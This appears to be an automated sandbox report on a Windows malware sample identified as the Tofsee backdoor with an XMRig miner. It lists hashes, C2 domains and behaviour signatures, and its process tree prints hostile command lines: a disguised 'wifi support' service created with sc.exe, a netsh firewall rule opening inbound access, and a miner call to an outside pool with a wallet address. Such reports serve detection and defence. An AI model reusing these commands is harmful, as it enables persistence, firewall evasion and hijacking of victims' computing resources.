Overview

overview

10

Static

static

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    22/12/2022, 12:54

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General

  • Target

    file.exe

  • Size

    318KB

  • MD5

    619d8e352d0e2ce5a4a6e509be70ce17

  • SHA1

    38028e6c085cd5e0aeb5c5abd806f748ac67d2b2

  • SHA256

    bcb1ebe545f74771bdf1a171dbd13d82b94845a668b8c175811c2c6a32e9267a

  • SHA512

    6c2cf5de488c02cc9f35ff252dd1d0a8244fee68130a1a75f1acbd22196a6785700c19faa4588d30894955353c7ffcfada45b79060d569aa817ef60ef2956852

  • SSDEEP

    6144:oi7fLL1nbhOdhr1u0ASUIU6G6fFIJfsAtrwE+:z7/FbSxASVG6tg0yI

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1672
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ftzozgcz\
      2⤵
        PID:1552
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\yrowngax.exe" C:\Windows\SysWOW64\ftzozgcz\
        2⤵
          PID:628
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ftzozgcz binPath= "C:\Windows\SysWOW64\ftzozgcz\yrowngax.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:516
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ftzozgcz "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:108
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ftzozgcz
          2⤵
          • Launches sc.exe
          PID:1360
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1324
      • C:\Windows\SysWOW64\ftzozgcz\yrowngax.exe
        C:\Windows\SysWOW64\ftzozgcz\yrowngax.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:824
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1964
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1720

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\yrowngax.exe
        Filesize

        14.7MB

        MD5

        d6feafaa42506b6e23cf8039dba7fa50

        SHA1

        af504e2ed9c7e065bcd583498167edfd7192a21d

        SHA256

        6fd5b566c3c706df38827c2cd3d906195b29a529a92cb50466dc2ea883660242

        SHA512

        bccfc22b4581957b4bcaec34ec34fccd59adc7007082624f8bbf237e018d2e37be133ed74b4aec6caf43fdc0898a8a4fd28531502c59b2b28454116ffc5303b2

        Download Submit

      • C:\Windows\SysWOW64\ftzozgcz\yrowngax.exe
        Filesize

        14.7MB

        MD5

        d6feafaa42506b6e23cf8039dba7fa50

        SHA1

        af504e2ed9c7e065bcd583498167edfd7192a21d

        SHA256

        6fd5b566c3c706df38827c2cd3d906195b29a529a92cb50466dc2ea883660242

        SHA512

        bccfc22b4581957b4bcaec34ec34fccd59adc7007082624f8bbf237e018d2e37be133ed74b4aec6caf43fdc0898a8a4fd28531502c59b2b28454116ffc5303b2

        Download Submit

      • memory/824-77-0x0000000000400000-0x0000000000456000-memory.dmp

        Filesize

        344KB

        Download

      • memory/824-75-0x000000000063B000-0x0000000000650000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1672-65-0x000000000050B000-0x0000000000521000-memory.dmp

        Filesize

        88KB

        Download

      • memory/1672-57-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

        Download

      • memory/1672-67-0x0000000000400000-0x0000000000456000-memory.dmp

        Filesize

        344KB

        Download

      • memory/1672-54-0x0000000075111000-0x0000000075113000-memory.dmp

        Filesize

        8KB

        Download

      • memory/1672-56-0x000000000050B000-0x0000000000521000-memory.dmp

        Filesize

        88KB

        Download

      • memory/1672-58-0x0000000000400000-0x0000000000456000-memory.dmp

        Filesize

        344KB

        Download

      • memory/1720-98-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1720-100-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1964-70-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1964-80-0x00000000019B0000-0x0000000001BBF000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/1964-83-0x0000000000460000-0x0000000000466000-memory.dmp

        Filesize

        24KB

        Download

      • memory/1964-86-0x0000000000470000-0x0000000000480000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1964-89-0x0000000000630000-0x0000000000635000-memory.dmp

        Filesize

        20KB

        Download

      • memory/1964-92-0x0000000005850000-0x0000000005C5B000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/1964-95-0x0000000000640000-0x0000000000647000-memory.dmp

        Filesize

        28KB

        Download

      • memory/1964-79-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1964-72-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1964-107-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

        Download